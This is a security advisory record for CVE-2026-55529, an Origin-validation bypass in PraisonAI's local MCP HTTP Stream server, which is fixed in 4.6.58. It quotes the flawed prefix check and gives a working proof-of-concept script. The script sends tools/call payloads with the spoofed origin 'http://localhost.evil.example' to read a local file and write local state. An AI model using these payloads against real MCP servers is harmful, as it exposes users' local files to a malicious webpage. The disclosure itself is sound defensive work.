{"id":"CVE-2026-55529","aliases":["GHSA-wj6g-v78p-6fx3","PYSEC-2026-3896"],"title":"PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on loc…","summary":"PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server","severity":"medium","cvss":6.9,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.6.58"],"patched":["praisonai 4.6.58"],"published":"2026-08-25","updated":"2026-09-10","sourceUpdated":"2026-09-10T12:26:00.393454285Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-wj6g-v78p-6fx3","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"url":"https://pypi.org/project/praisonai"},{"url":"https://github.com/advisories/GHSA-wj6g-v78p-6fx3"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55529"}],"tags":["osv","pip","nvd","ghsa"],"epss":0.00124,"epssPercentile":0.02506,"cwe":["CWE-306","CWE-346"],"ingestedAt":"2026-08-25T15:27:53.694Z","slug":"CVE-2026-55529","body":"## Overview\n\n### Summary\n\nPraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n    host=parsed.host,\n    port=parsed.port,\n    endpoint=parsed.endpoint,\n    api_key=parsed.api_key,\n    cors_origins=cors_origins,\n    allowed_origins=allowed_origins,\n    session_ttl=parsed.session_ttl,\n    allow_client_termination=allow_termination,\n    response_mode=parsed.response_mode,\n    resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n    if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n        self.allowed_origins = [\n            \"http://localhost\",\n            \"http://127.0.0.1\",\n            \"https://localhost\",\n            \"https://127.0.0.1\",\n        ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n    if request_origin == allowed or request_origin.startswith(allowed):\n        return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n    auth_header = request.headers.get(\"Authorization\", \"\")\n    if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n        return JSONResponse(\n            {\"error\": \"Unauthorized\"},\n            status_code=401,\n        )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n    result = await tool.handler(**arguments)\nelse:\n    result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -> str:\n    from praisonai.capabilities import file_create\n    result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n    file_obj = open(file, 'rb')\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n    f = kwargs[\"file\"]\n    captured[\"filename\"] = getattr(f, \"name\", \"<bytes>\")\n    captured[\"content\"] = f.read().decode(\"utf-8\")\n\n    class Resp:\n        id = \"file-safe-local-poc\"\n        object = \"file\"\n        bytes = len(captured[\"content\"])\n        filename = captured[\"filename\"]\n        purpose = kwargs.get(\"purpose\")\n        status = \"processed\"\n\n    return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n    server=server,\n    host=\"127.0.0.1\",\n    api_key=None,\n    allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n    os.environ[\"HOME\"] = td\n\n    marker = Path(td) / \"safe-marker.txt\"\n    marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n    file_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.files.create\",\n            \"arguments\": {\n                \"file_path\": str(marker),\n                \"purpose\": \"assistants\",\n            },\n        },\n    }\n\n    # Non-localhost malicious origin is blocked.\n    blocked = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"https://evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    # Prefix-matching bypass: accepted because it starts with http://localhost.\n    bypass = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.todo.add\",\n            \"arguments\": {\n                \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n                \"priority\": \"high\",\n            },\n        },\n    }\n\n    todo = client.post(\n        \"/mcp\",\n        data=json.dumps(todo_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n    print(json.dumps({\n        \"blocked_origin_status\": blocked.status_code,\n        \"bypass_origin_status\": bypass.status_code,\n        \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n        \"captured_file_content\": captured.get(\"content\"),\n        \"todo_status\": todo.status_code,\n        \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"todo_file_exists\": todo_file.exists(),\n    }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n  \"blocked_origin_status\": 403,\n  \"bypass_origin_status\": 200,\n  \"bypass_response_text\": \"File created: file-safe-local-poc\",\n  \"captured_file_basename\": \"safe-marker.txt\",\n  \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n  \"todo_status\": 200,\n  \"todo_response_text\": \"Todo added: 0440613d\",\n  \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.\n\n## Affected packages\n\n- `praisonai < 4.6.58`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.58`","depth":"sunlit","depthScore":38,"depthScoreParts":{"impact":38,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}